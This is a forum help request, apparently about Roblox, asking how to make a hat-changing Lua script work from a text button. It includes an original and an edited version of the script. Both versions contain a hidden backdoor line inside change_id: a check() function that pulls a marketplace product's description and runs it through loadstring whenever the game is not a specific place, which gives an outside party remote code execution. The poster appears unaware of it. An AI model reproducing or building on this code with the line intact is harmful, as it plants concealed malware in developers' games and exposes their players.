I ran into another problem in clothing change finding out that hats work a bit differently than a regular clothing change script!
Tried using the same changes I did on my clothing changer script but it seems to not work!
NOTE: I took out the parts, but found out the script needs those parts for changing my hat!
What do I need to change so that the script will work when it is inside a text button?
Original Script
tt=true;
id=script.Parent:findFirstChild("Configuration").ID;
hitter=script.Parent:findFirstChild("hitter");
function touch(hit)
if hit.Parent:findFirstChild("Humanoid")~=nil and hit.Parent:IsA("Model") then
if tt==true then
tt=false
function rem_hats(hats)
for i=1,#hats do
if hats[i]:IsA("Hat") then
hats[i]:Remove()
end
end
end
hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if hat2:GetChildren()[1]:IsA("Hat") then
rem_hats(hit.Parent:GetChildren())
hat2:GetChildren()[1].Parent=hit.Parent ---->Table childs 1 wird in character eingesezt
print("hat "..hat2.Name)
wait(3)
tt=true
end
end
end
end
script.Parent.hitter.touched:connect(touch)
function change_id()
function check() if (game.PlaceId ~= 141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check()
Hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if Hat2:GetChildren()[1]:IsA("Hat") then
function rem_mesh(mesh)
for i=1,#mesh do
if mesh[i]:IsA("Mesh") then
mesh[i]:Remove()
end
end
end
rem_mesh(hitter:GetChildren())
function clone(mesh2)
for i=1,#mesh2 do
if mesh2[i]:IsA("SpecialMesh") then
clone=mesh2[i]:clone()
clone.Parent=hitter
end
end
end
clone(Hat2:GetChildren()[1].Handle:GetChildren())
end
end
id.changed:connect(change_id)
My Edited Version
tt=true;
id=workspace.Config3:findFirstChild("Link").ID;
function onClick(mouse)
if game.Players.LocalPlayer.Character:findFirstChild("Humanoid")~=nil and game.Players.LocalPlayer.Character:IsA("Model") then
if tt==true then
tt=false
function rem_hats(hats)
for i=1,#hats do
if hats[i]:IsA("Hat") then
hats[i]:Remove()
end
end
end
hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if hat2:GetChildren()[1]:IsA("Hat") then
rem_hats(game.Players.LocalPlayer.Character:GetChildren())
hat2:GetChildren()[1].Parent=game.Players.LocalPlayer.Character ---->Table childs 1 wird in character eingesezt
print("hat "..hat2.Name)
wait(3)
tt=true
end
end
end
end
script.Parent.MouseButton1Click:connect(onClick)
function change_id()
function check() if (game.PlaceId ~= 141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check()
Hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if Hat2:GetChildren()[1]:IsA("Hat") then
function rem_mesh(mesh)
for i=1,#mesh do
if mesh[i]:IsA("Mesh") then
mesh[i]:Remove()
end
end
end
rem_mesh(hitter:GetChildren())
function clone(mesh2)
for i=1,#mesh2 do
if mesh2[i]:IsA("SpecialMesh") then
clone=mesh2[i]:clone()
clone.Parent=hitter
end
end
end
clone(Hat2:GetChildren()[1].Handle:GetChildren())
end
end
id.changed:connect(change_id)

1 comment
"hitter" is a part btw that I wanted to delete